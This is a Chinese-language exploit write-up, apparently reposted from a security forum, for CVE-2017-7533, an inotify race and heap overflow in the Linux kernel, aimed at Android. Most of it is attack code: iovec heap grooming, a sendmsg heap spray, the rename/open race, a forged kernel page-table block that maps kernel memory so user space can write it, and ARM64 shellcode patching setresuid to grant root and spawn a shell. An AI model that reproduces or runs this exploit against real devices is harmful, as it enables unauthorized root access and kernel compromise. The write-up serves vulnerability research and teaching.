一、测试环境
Android模拟器Nexus_6P_API_25@kernel 3.18
二、漏洞介绍
int inotify_handle_event(struct fsnotify_group *group,
struct inode *inode,
struct fsnotify_mark *inode_mark,
struct fsnotify_mark *vfsmount_mark,
u32 mask, void *data, int data_type,
const unsigned char *file_name, u32 cookie
)
{
struct inotify_inode_mark *i_mark;
struct inotify_event_info *event;
struct fsnotify_event *fsn_event;
int ret;
int len = 0;
int alloc_len = sizeof(struct inotify_event_info);
BUG_ON(vfsmount_mark);
if ((inode_mark->mask & FS_EXCL_UNLINK) &&
(data_type == FSNOTIFY_EVENT_PATH)) {
struct path *path = data;
if (d_unlinked(path->dentry))
return 0;
}
if (file_name) {
len = strlen(file_name);
alloc_len += len + 1;
}
pr_debug("%s: group=%p inode=%p mask=%x\n", __func__, group, inode,
mask);
i_mark = container_of(inode_mark, struct inotify_inode_mark,
fsn_mark);
event = kmalloc(alloc_len, GFP_KERNEL);//[1]分配sizeof(struct inotify_event_info)+strlen(file_name)+1内存
if (unlikely(!event))
return -ENOMEM;
fsn_event = &event->fse;
fsnotify_init_event(fsn_event, inode, mask);
event->wd = i_mark->wd;
event->sync_cookie = cookie;
event->name_len = len;
if (len)
strcpy(event->name, file_name);//[2]将file_name拷贝到刚刚分配的内存event->name里面
ret = fsnotify_add_event(group, fsn_event, inotify_merge);
if (ret) {
/* Our event wasn't used in the end. Free it. */
fsnotify_destroy_event(group, fsn_event);
}
if (inode_mark->mask & IN_ONESHOT)
fsnotify_destroy_mark(inode_mark, group);
return 0;
}
代码位于fs/notify/inotify/inotify_fsnotify.c
static void copy_name(struct dentry *dentry, struct dentry *target)
{
struct external_name *old_name = NULL;
if (unlikely(dname_external(dentry)))
old_name = external_name(dentry);
if (unlikely(dname_external(target))) {
atomic_inc(&external_name(target)->u.count);//[3]长文件名走这里
dentry->d_name = target->d_name;
} else {
memcpy(dentry->d_iname, target->d_name.name, //[4]短文件名走这里
target->d_name.len + 1);
dentry->d_name.name = dentry->d_iname;
dentry->d_name.hash_len = target->d_name.hash_len;
}
if (old_name && likely(atomic_dec_and_test(&old_name->u.count)))
kfree_rcu(old_name, u.head);//[5]长文件名走这里,释放old_name
}
代码位于fs/dcache.c
对于短文件名,如果两个线程同时跑,可能出现以下的执行顺序,在strcpy(event->name, file_name)会发生heap overflow。
由于dentry->d_name.name和filename是同样的值,在注释[1]和注释[2]之间,如果执行了注释[4],在strcpy时会导致heap overflow。
具体poc可以参考心许雪的这篇文章《[原创](Android Root)CVE-2017-7533 漏洞分析和复现》。(点击文末“阅读原文”,即可阅读)
对于长文件名,两个线程同时跑,由于竞争,在strcpy(event->name, file_name)也会发生heap overflow。
在实际的调试中,file_name的值大于old_name的值0x10字节,两者地址有重叠。如果old_name被堆喷射重新占位后的大小过大,在strcpy时会发生heap overflow。
三、如何利用
由于android 8.0已经引入了PAN机制,内核态不能访问用户态的数据,所以传统的通过覆盖ptmx结构体指针,从而实现任意地址写,变的不可能。或者通过挟持指针指向kernel_setsockopt,修改addr_limit,从而通过管道实现任意地址写,也变的不可能。因为他们都需要从用户态读取数据。
参考ThomasKing在BlackHat的文章asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features。使用内核镜像攻击,可以绕过PAN机制。原理可以参考Geneblue《KSMA -- Android通用 Root 技术》,简单的说需要利用地址写漏洞,向内核的L1页表写入一个block,这个block可以映射内核物理地址开始到内核地址+1G的地址范围。
对于我的操作系统,内存布局如下:
Virtual kernel memory layout:
vmalloc : 0xffffff8000000000 - 0xffffffbdffff0000 ( 247 GB)
vmemmap : 0xffffffbe00000000 - 0xffffffbfc0000000 ( 7 GB maximum)
0xffffffbe00000000 - 0xffffffbe01500000 (21 MB actual)
PCI I/O : 0xffffffbffa000000 - 0xffffffbffb000000 (16 MB)
fixed : 0xffffffbffbdfb000 - 0xffffffbffbdff000 (16 KB)
modules : 0xffffffbffc000000 - 0xffffffc000000000 (64 MB)
memory : 0xffffffc000000000 - 0xffffffc060000000 (1536 MB)
.init : 0xffffffc00074d000 - 0xffffffc000789000 ( 240 KB)
.text : 0xffffffc000080000 - 0xffffffc0005dfcb0 (5504 KB)
.data : 0xffffffc00079a000 - 0xffffffc0007eca00 ( 331 KB)
虚拟地址 物理地址
0xffffffc000000000 0x40000000
0xffffffc060000000 0xA0000000
我们通过向内核页表中写入block,形成如下映射,由于内核地址空间是在物理地址0x40000000~0x80000000之间,这样我们可以在用户态通过0xffffffc200000000~0xffffffc240000000访问整个内核地址空间,具体细节后面漏洞利用会再讲。
虚拟地址 物理地址
0xffffffc200000000 0x40000000
0xffffffc240000000 0x80000000
现在我们可以任意的修改内核地址空间,为了实现root,参考asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features做法,修改setresuid。
static patch_syscall(unsigned long mirror_kaddr)
{
unsigned int *p = (unsigned int *)mirror_kaddr;
*p = 0xd2822224; p++; //MOV X4, #0x1111
*p = 0xEB04001F; p++; //CMP X0, X4
*p = 0x54000261; p++; //BNE _ret
*p = 0xD2844444; p++; //MOV X4, #0x2222
*p = 0xEB04003F; p++; //CMP X1, X4
*p = 0x54000201; p++; //BNE _ret
*p = 0xD2866664; p++; //MOV X4, #0x3333
*p = 0xEB04005F; p++; //CMP X2, X4
*p = 0x540001a1; p++; //BNE _ret
*p = 0x910003E0; p++; //MOV X0, SP
*p = 0x9272C401; p++; //AND X1, X0, #0xffffffffffffc000
*p = 0xF9400822; p++; //LDR X2, [X1, #0x10]
*p = 0xF942EC43; p++; //LDR X3, [X2, #0x5D8]
*p = 0x2900FC7F; p++; //STP WZR, WZR, [X3, #4]
*p = 0x2901FC7F; p++; //STP WZR, WZR, [X3, #0xC]
*p = 0x2902FC7F; p++; //STP WZR, WZR, [X3, #0x14]
*p = 0x2903FC7F; p++; //STP WZR, WZR, [X3, #0x1C]
*p = 0x92800001; p++; //MOV X1, #0xFFFFFFFFFFFFFFFF
*p = 0xA9028461; p++; //STP X1, X1, [X3, #0x28]
*p = 0xA9038461; p++; //STP X1, X1, [X3, #0x38]
*p = 0xF9002461; p++; //STR X1, [X3, #0x48]
*p = 0xD65F03C0; p++; //RET
}
当我们调用setresuid,会通过获取SP->thread_info->task_struct->cred,之后修改cred里面的内容,实现root。
有人可能会有这样的问题,如果有了任意地址写,不就已经可以实现root了么?是的,不过针对CVE-2017-7533来说,写的地址并不任意,只能向一个内核地址写入内容。
那么,刚刚我们才说过,这是一个heap overflow漏洞,又如何变成向一个内核地址写入内容呢?
可以参考Retme the art of exploiting unconventional use-after-free bugs in android kernel,通过heap overflow覆盖iovec的addr为内核地址,从而实现向一个内核地址写入内容。
系统调用readv,跟踪代码会执行到:
ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
unsigned long nr_segs, unsigned long fast_segs,
struct iovec *fast_pointer,
struct iovec **ret_pointer)
{
unsigned long seg;
ssize_t ret;
struct iovec *iov = fast_pointer;
/*
* SuS says "The readv() function *may* fail if the iovcnt argument
* was less than or equal to 0, or greater than {IOV_MAX}. Linux has
* traditionally returned zero for zero segments, so...
*/
if (nr_segs == 0) {
ret = 0;
goto out;
}
/*
* First get the "struct iovec" from user memory and
* verify all the pointers
*/
if (nr_segs > UIO_MAXIOV) {
ret = -EINVAL;
goto out;
}
if (nr_segs > fast_segs) {
iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
if (iov == NULL) {
ret = -ENOMEM;
goto out;
}
}
......
}
当传入的参数nr_segs大于8时,并完成对iov_base的合法性检查,确定这是个用户态的地址,我们会通过kmalloc分配内存如下:
此时如果不调用write函数,readv函数将会睡眠等待至write函数发生。
如果此时通过heap overflow覆盖了iov_base为内核态地址,当write函数发生时,会向kernel_addr写入数据,而且此时并没有校验iov_base是否为用户态,前面已经校验过了。
四、漏洞利用
1、堆风水
如何使strcpy(event->name, file_name) 可以覆盖iov_base,向其写入kernel_addr。
首先我们看一下我们要布局的对象的大小。
iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); //nr_seg需要大于8,我这里选择10,iov对象的大小是160个字节,从kmalloc-192中分配。如果要覆盖iov,下面的event,file_name就得选比较大的文件名,所以这个漏洞,不能通过短文件名触发。
event = kmalloc(alloc_len, GFP_KERNEL); //分配sizeof(struct inotify_event_info)+strlen(file_name)+1内存 ,44+144+1=189字节,从kmalloc-192中分配。
kfree_rcu(old_name, u.head) old_name也是144个字节,从kmalloc-192分配,这里是释放。
sendmsg堆喷,172个字节,从kmalloc-192分配。
为什么是172个字节?
sizeof(struct inotify_event_info) = 44个字节,event总的长度是192个字节,如果想覆盖iov,那么file_name被堆喷重新占位后的大小应该是192- 44 + 8(iov_addr的字节数)=156,由于file_name的值大于old_name的值16个字节,所以sendmsg应该堆喷156+16个= 172字节。
堆风水步骤:
1)首先起大量线程分配iov对象(通过readv函数,会阻塞线程,所以需要大量线程)。
2)每隔一个对象释放iov,形成空洞。
3)通过以下竞争,event落在空洞上,并且旁边就是另一个iov对象:
4)堆喷占位old_name,strcpy覆盖旁边iov对象iov_addr
static void* readpipe(void* param)
{
readv(*(int *)param, iovs, 10);
}
static void createthread(int * pipe_write, int thread_index) //通过创建大量的thread,分配iov对象,并且阻塞等待
{
int * pipefd;
pipefd = malloc(2 * sizeof(int));
pipe(pipefd);
*pipe_write = pipefd[1];
int ret;
if((ret = pthread_create(&rthread[thread_index], NULL, readpipe, &pipefd[0])))
perror("read pthread_create()");
}
static void createpipes()
{
for (int i = 0; i < THREAD_COUNT; i++)
{
createthread(&pipe_writes[i], i);
}
}
static void releaehalfpipes() //每间隔一个对象释放一个,采用的方式是调用write,使该线程在readv等待的函数退出,并释放iov
{
for (int i = 0; i < THREAD_COUNT; i++)
{
int fd = pipe_writes[i];
if (fd > 0 && i%2 == 0)
{
if(write(fd, wbuf, sizeof(wbuf)) != sizeof(wbuf))
perror("write()");
}
}
}
static void writehalfpipes()
{
unsigned long fake_d_block = get_fack_block(0x40000000);
for (int i = 0; i < THREAD_COUNT; i++)
{
int fd = pipe_writes[i];
if (fd > 0 && i%2 == 1)
{
if(write(fd, &fake_d_block, sizeof(unsigned long)) != sizeof(wbuf))
perror("write()");
}
}
}
static int initmappings()
{
memset(iovs, 0, sizeof(iovs));
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1)
{
perror("mmap()");
return -1;
}
iovs[0].iov_base = MMAP_ADDR;
//we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)
iovs[0].iov_len = 8;
return 0;
}
对应上面讲的1、2步。
// Try kmalloc-192 made by cyclic(100)
char *orig_name = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";
//char *longname_padding = "qhhhhhkhkhkhfdfsdfsdfsdfsdf";
char *longname_padding = "qfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";
// 120
//char *orig_name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
static void handle_events(int fd, int *wd, int argc, char* argv[])
{
/* Some systems cannot read integer variables if they are not
properly aligned. On other systems, incorrect alignment may
decrease performance. Hence, the buffer used for reading from
the inotify file descriptor should have the same alignment as
struct inotify_event. */
char buf[4096]
__attribute__ ((aligned(__alignof__(struct inotify_event))));
const struct inotify_event *event;
int i;
ssize_t len;
char *ptr;
/* Loop while events can be read from inotify file descriptor. */
for (;!stop;) {
/* Read some events. */
len = read(fd, buf, sizeof buf);
if (len == -1 && errno != EAGAIN) {
perror("read");
exit(EXIT_FAILURE);
}
/* If the nonblocking read() found no events to read, then
it returns -1 with errno set to EAGAIN. In that case,
we exit the loop. */
if (len <= 0)
break;
/* Loop over all events in the buffer */
for (ptr = buf; ptr < buf + len;
ptr += sizeof(struct inotify_event) + event->len) {
event = (const struct inotify_event *) ptr;
/* Print event type */
/*
if (event->mask & IN_OPEN)
printf("IN_OPEN: ");
if (event->mask & IN_CLOSE_NOWRITE)
printf("IN_CLOSE_NOWRITE: ");
if (event->mask & IN_CLOSE_WRITE)
printf("IN_CLOSE_WRITE: ");
if (event->mask % IN_ACCESS)
printf("IN_ACCESS: ");
*/
/* Print the name of the watched directory */
for (i = 1; i < argc; ++i) {
if (wd[i] == event->wd) {
//printf("%s/", argv[i]);
break;
}
}
/* Print the name of the file */
if (event->len && strstr(event->name, "CCCCCCCCCCCC")) {
printf("%s() event->name : %s, event->len : %d\n",__func__, event->name, event->len);
printf("Detected overwrite!!!\n");
stop = 1;
break;
}
/* Print type of filesystem object */
/*
if (event->mask & IN_ISDIR)
printf(" [directory]\n");
else
printf(" [file]\n");
*/
}
}
}
static void* notify_thread_func(void* arg)
{
char buf;
int fd, i, poll_num;
int *wd;
nfds_t nfds;
struct pollfd fds[2];
int argc = 2;
char *argv[] = { NULL, "test_dir", NULL};
/*
if (argc < 2) {
printf("Usage: %s PATH [PATH ...]\n", argv[0]);
exit(EXIT_FAILURE);
}
*/
//printf("Press ENTER key to terminate.\n");
/* Create the file descriptor for accessing the inotify API */
fd = inotify_init1(IN_NONBLOCK);
if (fd == -1) {
perror("inotify_init1");
exit(EXIT_FAILURE);
}
/* Allocate memory for watch descriptors */
wd = calloc(argc, sizeof(int));
if (wd == NULL) {
perror("calloc");
exit(EXIT_FAILURE);
}
/* Mark directories for events
- file was opened
- file was closed */
for (i = 1; i < argc; i++) {
wd[i] = inotify_add_watch(fd, argv[i],
IN_OPEN | IN_CLOSE| IN_ACCESS);
if (wd[i] == -1) {
fprintf(stderr, "Cannot watch '%s'\n", argv[i]);
perror("inotify_add_watch");
exit(EXIT_FAILURE);
}
}
/* Prepare for polling */
nfds = 2;
/* Console input */
fds[0].fd = STDIN_FILENO;
fds[0].events = POLLIN;
/* Inotify input */
fds[1].fd = fd;
fds[1].events = POLLIN;
printf("Listening for events.\n");
while (!stop) {
poll_num = poll(fds, nfds, -1);
if (poll_num == -1) {
if (errno == EINTR)
continue;
perror("poll");
exit(EXIT_FAILURE);
}
if (poll_num > 0) {
if (fds[1].revents & POLLIN) {
handle_events(fd, wd, argc, argv);
}
}
}
close(fd);
printf("thread notify done\n");
free(wd);
//exit(EXIT_SUCCESS);
}
void *trigger_rename_open(void* arg)
{
int iret1, iret2,i;
setvbuf(stdout,0,2,0);
iret1 = pthread_create( &thread1, NULL, callrename, NULL);
if(iret1)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1);
exit(EXIT_FAILURE);
}
iret2 = pthread_create( &thread2, NULL, openclose, NULL);
if(iret2)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2);
exit(EXIT_FAILURE);
}
pthread_join( thread1, NULL);
printf("thread1 callrename done\n");
pthread_join( thread2, NULL);
printf("thread2 openclose done\n");
//exit(EXIT_SUCCESS);
}
// 250
//char *longname_padding = "fhhhhhhkhkhkhfdfsdfsdfsdfsdf";
//char *longname_padding = "bbbb32103210321032103210ABCDEF";
/*
rcx : 44434241..
DCDA0123
*/
// char *longname_padding = "bbbb3210321032GFEDCBA";
// 31 will crash
void *callrename( void *ptr )
{
int i,m,k;
char enter = 0;
char origname[1024];
char longname[1024];
char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff";
char prev_ptr[8] = "";
// This value will overwrite the next (struct fsnotify_event)event->list.next
// create shortname being initial name.
snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
//printf("origname=\"%s\"\n", origname);
snprintf(longname, sizeof longname, "test_dir/%s",
longname_padding);
//strcat(longname,space);
printf("longname=\"%s\"\n", longname);
for (i=0;i<1000 && !stop ;i++)
{
if (rename(origname,longname)<0) perror("rename1");
for (int j = 0; j < 1; j++)
{
fillhole();
}
if (rename(longname,origname)<0) perror("rename2");
}
printf("callrename done.\n");
stop = 1;
}
void *openclose( void *ptr )
{
int j,fd,m,k;
char origname[1024];
snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
for (j=0;j<10000 && !stop;j++ )
{
//if (open(origname,O_RDWR) < 0) perror("open");
open(origname,O_RDWR);
}
printf("openclose done.\n");
stop = 1;
}
int main(void)
{
initmappings();
createpipes(); //创建大量iov
sleep(2);
releaehalfpipes();//间隔释放iov
waithalfrelease();//等待释放完毕
pthread_t notify_thread[4];
pthread_t rename_thread;
int i = 1;
char buf[1024];
snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name);
system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir");
system(buf);
for ( i ; i < 2; i++ ) { //监控文件打开
pthread_create(¬ify_thread[i],
NULL,
notify_thread_func,
NULL);
}
//Trigger inotify event by file open and rename to
//trigger the vulnerability
pthread_create(&rename_thread, NULL, trigger_rename_open, NULL);//重命名
pthread_join(rename_thread, NULL);//等待rename线程结束
printf("rename_thread end\n");
for ( i = 1; i < 2; i++ )
pthread_join(notify_thread[i], NULL); //等待notify_thread线程结束
printf("notify_thread end\n");
.....
return 1;
}
通过notify_thread监控文件的open动作,这里文件是长文件名。可以理解为notify_thread为Thread1,当监控到open文件时,会执行上面所说的Thread1的inotify_handle_event函数。
通过rename_thread,创建两个线程,一个是rename线程,也就是上面说的Thread 2线程,可以触发copy_name。一个是open线程,用来触发notify_thread的inotify_handle_event函数。
由于需要多次触发上面的操作,来竞争。所以在每次copy到目标文件后,会再次拷贝回原文件,在这两次执行之间通过sendmsg实现一次堆喷占位。
这里我们看到rename线程执行的次数是1000次,而open线程执行的次数的是10000次,这是让他们均匀的竞争,避免open执行完后,还有大量的rename线程再执行。需要注意一点open有时会失败,比如rename线程刚把A文件名重命名为B文件名,而此时open打开A文件名,会失败,不过不影响我们竞争,总会有成功的时候。
执行完这步,我们已经将iov_addr的地址覆盖成我们想要的内容。那么我们的iov_addr被我们改成什么了?覆盖的内容是什么呢?我们接着说。
2、向内核页表写入block
前面我们说了,向内核页表写入block的目的是在用户态通过0xffffffc200000000~0xffffffc240000000访问整个内核地址空间。
内核已有的映射:
虚拟地址 物理地址
0xffffffc000000000 0x40000000
0xffffffc060000000 0xA0000000
写入block后增加的映射:
虚拟地址 物理地址
0xffffffc200000000 0x40000000
0xffffffc240000000 0x80000000
#define BUFF_SIZE 172
static void fillhole()
{
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
memset(buff, 0x43, sizeof buff);
unsigned long * iovec_addr = (unsigned long *)&buff[164];
*iovec_addr = 0xffffffc000872840;//block写入的内核页表地址
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
/* This is the data that will overwrite the vulnerable object in the heap */
msg.msg_control = buff;
/* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */
msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
/* Heap spray */
sendmsg(sockfd, &msg, 0);
}
这段代码的功能是在kfree_rcu(old_name, u.head),之后重新占位这个洞。
if (rename(origname,longname)<0) perror("rename1");
for (int j = 0; j < 1; j++)
{
fillhole();
}
if (rename(longname,origname)<0) perror("rename2");
我们堆喷只调用了一次,此时不能保证每次都占到old_name的地址,但由于我们是多次执行,所以有一定概率占到old_name,并赢得竞争。
fillhole,我们生成了一个172字节的对象,原理我们上面已经讲过了。最后8个字节是用来覆盖iov_addr的,为0xffffffc000872840。这个地址是用来写入block的。
我手机里面的swapper_pg_dir的地址是ffffffc000872000。参考《KSMA -- Android 通用 Root 技术》计算方式:
L1_index=(0xffffffc200000000 &0x0000007fc0000000) >>30;
fake_d_block_addr=ffffffc000872000+L1_index*0x8;
得到的fake_d_block_addr为0xffffffc000872840。
那么向这个地址写入一个什么样的block呢?
static unsigned long get_fack_block(unsigned long phys_addr)
{
unsigned long fake_d_block = 0l;
// d_block 中的内容,主要是修改 AP[2:1], 修改为读写属性
// bit[1:0]
fake_d_block = fake_d_block | (0x0000000000000001); // Y
// bit[11:2] lower block attributes
fake_d_block = fake_d_block | (0x0000000000000800); // nG, bit[11] Y
fake_d_block = fake_d_block | (0x0000000000000400); // AF, bit[10] Y
fake_d_block = fake_d_block | (0x0000000000000200); // SH, bits[9:8]
fake_d_block = fake_d_block | (0x0000000000000040); // AP[2:1], bits[7:6]
fake_d_block = fake_d_block | (0x0000000000000020); // NS, bit[5] Y
fake_d_block = fake_d_block | (0x0000000000000010); // AttrIndx[2:0], bits[4:2]
// bit[29:12] RES0
// bit[47:30] output address
fake_d_block = fake_d_block | (phys_addr & 0x0000ffffc0000000);
// bit[51:48] RES0
// bit[63:52] upper block attributes, [63:55] ignored
fake_d_block = fake_d_block | (0x0010000000000000); // Contiguous, bit[52]
fake_d_block = fake_d_block | (0x0020000000000000); // PXN, bit[53]
fake_d_block = fake_d_block | (0x0040000000000000); // XN, bit[54]
return fake_d_block;
}
这个block,主要是标示了物理地址以0x40000000起始的1G范围,且AP改为01,让用户态可以访问内核态。
此时还有个限制该漏洞被利用的因素,fake_d_block_addr为0xffffffc000872840,这8个字节是要通过strcpy来覆盖旁边iov_addr的,但是strcpy有遇0截断问题,所以这个漏洞在当前的环境是无法利用的。
在asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.之所以可以使用,是因为swapper_pg_dir ~ swapper_pg_dir + 0x1ff * 8没有遇0截断。
我为了继续验证漏洞利用,修改了内核代码,使用了memcpy来解决遇0截断问题。
strcpy(event->name, file_name);
if (strlen(file_name) > len)
{
memcpy(event->name, file_name, 156);
}
代码位于fs/notify/inotify/inotify_fsnotify.c。
3、修改cred
void test_addr_directly() {
unsigned long addr = 0xffffffc200000000 + 0x872800;
printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);
}
int main(void)
{
initmappings();
createpipes();
sleep(2);
releaehalfpipes();
waithalfrelease();
pthread_t notify_thread[4];
pthread_t rename_thread;
int i = 1;
char buf[1024];
snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name);
system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir");
system(buf);
for ( i ; i < 2; i++ ) {
pthread_create(¬ify_thread[i],
NULL,
notify_thread_func,
NULL);
}
//Trigger inotify event by file open and rename to
//trigger the vulnerability
pthread_create(&rename_thread, NULL, trigger_rename_open, NULL);
pthread_join(rename_thread, NULL);
printf("rename_thread end\n");
for ( i = 1; i < 2; i++ )
pthread_join(notify_thread[i], NULL);
printf("notify_thread end\n");
writehalfpipes();//向内核页表写入block
waitallrelease();//等待线程结束
test_addr_directly();//测试是否可以在用户态访问内核态,如果没有成功,会crash
unsigned long setresuidaddr = 0xffffffc0000ad968 - 0xffffffc000000000 + 0xffffffc200000000;
patch_syscall(setresuidaddr); //通过新的虚拟地址来修改setresuid这个函数的内容
printf("get root from rooting backdor\n");
setresuid(0x1111, 0x2222, 0x3333);//提权
if (getuid() == 0)
{
printf("spawn a root shell\n");
execl("/system/bin/sh", "/system/bin/sh", NULL);
}
return 1;
}
patch_syscall我们已经讲过了主要是为了修改cred结构体。
static patch_syscall(unsigned long mirror_kaddr)
{
unsigned int *p = (unsigned int *)mirror_kaddr;
*p = 0xd2822224; p++; //MOV X4, #0x1111
*p = 0xEB04001F; p++; //CMP X0, X4
*p = 0x54000261; p++; //BNE _ret
*p = 0xD2844444; p++; //MOV X4, #0x2222
*p = 0xEB04003F; p++; //CMP X1, X4
*p = 0x54000201; p++; //BNE _ret
*p = 0xD2866664; p++; //MOV X4, #0x3333
*p = 0xEB04005F; p++; //CMP X2, X4
*p = 0x540001a1; p++; //BNE _ret
*p = 0x910003E0; p++; //MOV X0, SP
*p = 0x9272C401; p++; //AND X1, X0, #0xffffffffffffc000 //获取thread_info
*p = 0xF9400822; p++; //LDR X2, [X1, #0x10] //获取task_struct
*p = 0xF942EC43; p++; //LDR X3, [X2, #0x5D8] //获取cred
*p = 0x2900FC7F; p++; //STP WZR, WZR, [X3, #4]
*p = 0x2901FC7F; p++; //STP WZR, WZR, [X3, #0xC]
*p = 0x2902FC7F; p++; //STP WZR, WZR, [X3, #0x14]
*p = 0x2903FC7F; p++; //STP WZR, WZR, [X3, #0x1C]
*p = 0x92800001; p++; //MOV X1, #0xFFFFFFFFFFFFFFFF
*p = 0xA9028461; p++; //STP X1, X1, [X3, #0x28]
*p = 0xA9038461; p++; //STP X1, X1, [X3, #0x38]
*p = 0xF9002461; p++; //STR X1, [X3, #0x48]
*p = 0xD65F03C0; p++; //RET
}
每个系统里面的获取cred的偏移可能不同,如何知道呢?可以通过ida来确定,比如cap_bprm_set_creds的汇编代码就有类似的地方:
注意patch setresuid使用的是以0xffffffc200000000开始的虚拟地址,可以在用户态访问内核态。
test_addr_directly是为了测试是否可以在用户态访问内核态,如果不可以,程序会crash。
最后调用setresuid方法,实现提权:
五、存在的问题
1、堆风水没有实现100%成功,间隔释放iov结构体后,之后开始两个线程开始竞争,以达到溢出的目的。这个竞争过程中会不断从kmalloc-192申请和释放内存(event、old_name、fillhole都是从kmalloc-192分配)。即便占位了iov结构体,旁边也可能不是iov结构体,如果是内核关键结构,溢出后内核会crash。ThmosKing和各位大神,如果有更好的堆风水方案,请指教。
2、如果swapper_pg_dir就是内核1级页表的起始位置包含000,例如ffffffc000872000,在strcpy时会截断,也是无法利用这个洞的。
六、源码
https://github.com/jltxgcy/CVE_2017_7533_EXP
参考
https://www.blackhat.com/docs/asia-18/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf
https://pacsec.jp/psj17/PSJ2017_DiShen_Pacsec_FINAL.pdf
https://github.com/hardenedlinux/offensive_poc/tree/master/CVE-2017-7533
(Android Root)CVE-2017-7533 漏洞分析和复现 https://bbs.pediy.com/thread-248481.htm
KSMA -- Android 通用 Root 技术 https://bbs.pediy.com/thread-248444.htm
原文作者:jltxgcy
原文链接:https://bbs.pediy.com/thread-249386.htm
转载请注明:转自看雪学院
更多阅读:
iOS平台几个福利app的破解(Artibee/AcgArt、Acg Stay、Cosplay)
SandHook 第二弹 - Xposed API 兼容 & 指令检查 & 进程注入
[ScyllaHide] 03 PEB相关反调试
FPS网络游戏自动瞄准漏洞分析以及实现